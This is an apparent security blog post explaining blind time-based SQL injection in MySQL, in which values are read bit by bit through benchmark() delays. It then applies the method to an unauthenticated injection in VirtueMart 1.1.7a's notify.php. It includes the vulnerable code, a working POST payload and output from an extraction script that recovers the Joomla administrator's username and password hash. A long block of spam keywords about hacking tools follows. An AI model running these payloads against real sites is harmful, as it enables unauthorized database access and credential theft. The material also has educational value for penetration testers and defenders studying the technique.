Tuesday, August 25, 2020

Bit Banging Your Database

This post will be about stealing data from a database one bit at a time. Most of the time pulling data from a database a bit at a time would not be ideal or desirable, but in certain cases it will work just fine. For instance when dealing with a blind time based sql injection. To bring anyone who is not aware of what a "blind time based" sql injection is up to speed - this is a condition where it is possible to inject into a sql statement that is executed by the database, but the application gives no indication about the result of the query. This is normally exploited by injecting boolean statements into a query and making the database pause for a determined about of time before returning a response. Think of it as playing a game "guess who" with the database.

Now that we have the basic idea out of the way we can move onto how this is normally done and then onto the target of this post. Normally a sensitive item in the database is targeted, such as a username and password. Once we know where this item lives in the database we would first determine the length of the item, so for example an administrator's username. All examples below are being executed on an mysql database hosting a Joomla install. Since the example database is a Joomla web application database, we would want to execute a query like the following on the database:
select length(username) from jos_users where usertype = 'Super Administrator';
Because we can't return the value back directly we have to make a query like the following iteratively:

select if(length(username)=1,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
select if(length(username)=2,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
We would keep incrementing the number we compare the length of the username to until the database paused (benchmark function hit). In this case it would be 5 requests until our statement was true and the benchmark was hit. 

Examples showing time difference:
 mysql> select if(length(username)=1,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
1 row in set (0.00 sec)
mysql> select if(length(username)=5,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
1 row in set (0.85 sec)
Now in the instance of the password, the field is 65 characters long, so it would require 65 requests to discover the length of the password using this same technique. This is where we get to the topic of the post, we can actually determine the length of any field in only 8 requests (up to 255). By querying the value bit by bit we can determine if a bit is set or not by using a boolean statement again. We will use the following to test each bit of our value: 

Start with checking the most significant bit and continue to the least significant bit, value is '65':
value & 128 
01000001
10000000
-----------
00000000 

value & 64
01000001
01000000
-----------
01000000
value & 32
01000001
00100000
-----------
00000000
value & 16
01000001
00010000
--------
00000000
value & 8
01000001
00001000
--------
00000000

value & 4
01000001
00000100
-----------
00000000
value & 2
01000001
00000010
-----------
00000000
value & 1
01000001
00000001
-----------
00000001
The items that have been highlighted in red identify where we would have a bit set (1), this is also the what we will use to satisfy our boolean statement to identify a 'true' statement. The following example shows the previous example being executed on the database, we identify set bits by running a benchmark to make the database pause:

mysql> select if(length(password) & 128,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)
mysql> select if(length(password) & 64,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (7.91 sec)

mysql> select if(length(password) & 32,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 16,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 8,benchmark(50000000,md5('cc')),0)  from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 4,benchmark(50000000,md5('cc')),0)  from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 2,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 1,benchmark(50000000,md5('cc')),0)  from jos_users;
1 row in set (8.74 sec)
As you can see, whenever we satisfy the boolean statement we get a delay in our response, we can mark that bit as being set (1) and all others as being unset (0). This gives us 01000001 or 65. Now that we have figured out how long our target value is we can move onto extracting its value from the database. Normally this is done using a substring function to move through the value character by character. At each offset we would test its value against a list of characters until our boolean statement was satisfied, indicating we have found the correct character. Example of this:

select if(substring(password,1,1)='a',benchmark(50000000,md5('cc')),0) as query from jos_users;
This works but depending on how your character set that you are searching with is setup can effect how many requests it will take to find a character, especially when considering case sensitive values. Consider the following password hash:
da798ac6e482b14021625d3fad853337skxuqNW1GkeWWldHw6j1bFDHR4Av5SfL
If you searched for this string a character at a time using the following character scheme [0-9A-Za-z] it would take about 1400 requests. If we apply our previous method of extracting a bit at a time we will only make 520 requests (65*8). The following example shows the extraction of the first character in this password:

mysql> select if(ord(substring(password,1,1)) & 128,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
mysql> select if(ord(substring(password,1,1)) & 64,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.91 sec)
mysql> select if(ord(substring(password,1,1)) & 32,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.93 sec)
mysql> select if(ord(substring(password,1,1)) & 16,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
mysql> select if(ord(substring(password,1,1)) & 8,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
mysql> select if(ord(substring(password,1,1)) & 4,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.91 sec)
mysql> select if(ord(substring(password,1,1)) & 2,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
mysql> select if(ord(substring(password,1,1)) & 1,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
Again I have highlighted the requests where the bit was set in red. According to these queries the value is 01100100 (100) which is equal to 'd'. The offset of the substring would be incremented and the next character would be found until we reached the length of the value that we found earlier.

Now that the brief lesson is over we can move on to actually exploiting something using this technique. Our target is Virtuemart. Virtuemart is a free shopping cart module for the Joomla platform. Awhile back I had found an unauthenticated sql injection vulnerability in version 1.1.7a. This issue was fixed promptly by the vendor (...I was amazed) in version 1.1.8. The offending code was located in "$JOOMLA/administrator/components/com_virtuemart/notify.php" :


          if($order_id === "" || $order_id === null)
          {
                        $vmLogger->debug("Could not find order ID via invoice");
                        $vmLogger->debug("Trying to get via TransactionID: ".$txn_id);
                       
$qv = "SELECT * FROM `#__{vm}_order_payment` WHERE `order_payment_trans_id` = '".$txn_id."'";
                        $db->query($qv);
                        print($qv);
                        if( !$db->next_record()) {
                                $vmLogger->err("Error: No Records Found.");
                        }
The $txn_id variable is set by a post variable of the same name. The following example will cause the web server to delay before returning:


POST /administrator/components/com_virtuemart/notify.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
invoice=1&txn_id=1' or benchmark(50000000,md5('cc'));#  
Now that an insertion point has been identified we can automate the extraction of the "Super Administrator" account from the system:
python vm_own.py "http://192.168.18.131/administrator/components/com_virtuemart/notify.php"
[*] Getting string length
[+] username length is:5
[+] username:admin
[*] Getting string length
[+] password length is:65
[+] password:da798ac6e482b14021625d3fad853337:skxuqNW1GkeWWldHw6j1bFDHR4Av5SfL
The "vm_own.py" script can be downloaded here.


Related word

  1. Hacking Tools 2020
  2. Pentest Tools Alternative
  3. Hacking Tools Hardware
  4. Hacking Tools 2020
  5. Ethical Hacker Tools
  6. Hacking Tools Kit
  7. Pentest Tools Framework
  8. Hacking Tools Online
  9. Hacking Tools Hardware
  10. Nsa Hack Tools Download
  11. Hack Tools Mac
  12. Termux Hacking Tools 2019
  13. Tools For Hacker
  14. Pentest Tools Review
  15. Best Pentesting Tools 2018
  16. Hacking Tools For Beginners
  17. Pentest Tools Windows
  18. Nsa Hacker Tools
  19. Pentest Tools Port Scanner
  20. Pentest Tools Online
  21. Hacking Tools For Windows Free Download
  22. Hacking Tools For Windows 7
  23. Nsa Hack Tools
  24. Pentest Tools Website
  25. Pentest Tools Github
  26. Termux Hacking Tools 2019
  27. Hacker Tools For Mac
  28. New Hacker Tools
  29. Hacking Tools Kit
  30. Kik Hack Tools
  31. Hack Website Online Tool
  32. Hack Rom Tools
  33. Pentest Tools Review
  34. Hack Tools For Pc
  35. Pentest Tools For Mac
  36. Pentest Tools Nmap
  37. Pentest Tools Github
  38. Hack Tools For Windows
  39. New Hacker Tools
  40. Hack Apps
  41. Hacker Hardware Tools
  42. Computer Hacker
  43. Hacking Tools Windows
  44. Hacking Tools For Windows Free Download
  45. Hackers Toolbox
  46. Hacker Tools For Pc
  47. Pentest Tools Website
  48. Hack Tools Pc
  49. Beginner Hacker Tools
  50. Hacking Tools For Windows 7
  51. Pentest Tools Website Vulnerability
  52. Hacking Tools Download
  53. Hacker Tools Github
  54. Hacker Tool Kit
  55. How To Make Hacking Tools
  56. Hack And Tools
  57. Hack Tools
  58. Pentest Tools Download
  59. Pentest Tools Website Vulnerability
  60. Tools Used For Hacking
  61. Hacker Tools Free Download
  62. Pentest Tools Url Fuzzer
  63. Growth Hacker Tools
  64. Hacking Tools For Pc
  65. Hacking App
  66. Hak5 Tools
  67. Hacking Tools For Windows 7
  68. Hacker Tools For Windows
  69. Hacking Tools Usb
  70. Usb Pentest Tools
  71. Hacker Tools Software
  72. Github Hacking Tools
  73. Black Hat Hacker Tools
  74. Hack Tools Pc
  75. Hack Tools Github
  76. Pentest Recon Tools
  77. Pentest Automation Tools
  78. Easy Hack Tools
  79. Hacker Tools 2020
  80. Pentest Tools For Android
  81. Blackhat Hacker Tools
  82. Hacking Tools
  83. Pentest Automation Tools
  84. Hacking Tools Github
  85. Pentest Recon Tools
  86. Hacker Tools Free
  87. Pentest Tools Open Source
  88. Physical Pentest Tools
  89. Hacking Tools Github
  90. Hacker Tools Windows
  91. Hacking Tools Kit
  92. Pentest Tools Framework
  93. Hacking Tools For Beginners
  94. Hacking Tools For Pc
  95. Hack Tool Apk
  96. How To Hack
  97. Hacker Tools 2019
  98. Hacking Tools Download
  99. Usb Pentest Tools
  100. Hacks And Tools
  101. Hacker Tools List
  102. Hacker
  103. Hacker Search Tools
  104. Hacker Tools Windows
  105. Hacking Tools Name
  106. Growth Hacker Tools
  107. Hacker Tools 2020
  108. Pentest Tools Online
  109. Pentest Tools Open Source
  110. Hacking Tools 2020
  111. Hacker Tools Apk Download
  112. Hacking Tools Windows 10
  113. Hacker Tools Free
  114. Hacker Tools Free
  115. Hacking Tools 2019
  116. Hacking Tools Online
  117. New Hacker Tools
  118. Black Hat Hacker Tools
  119. Pentest Tools Tcp Port Scanner
  120. Tools 4 Hack
  121. Hack Tools 2019
  122. What Are Hacking Tools
  123. Hack Tools For Games
  124. Pentest Tools For Android
  125. Hacking Tools For Mac
  126. Hacker Tools For Mac
  127. Beginner Hacker Tools
  128. Hacking Apps
  129. Hacking Tools And Software
  130. Hackrf Tools
  131. Best Hacking Tools 2019
  132. Hack Rom Tools
  133. Hacker Tools 2019
  134. Physical Pentest Tools
  135. Hack Tools
  136. Hacking Tools And Software
  137. Hack Rom Tools
  138. Android Hack Tools Github

No comments: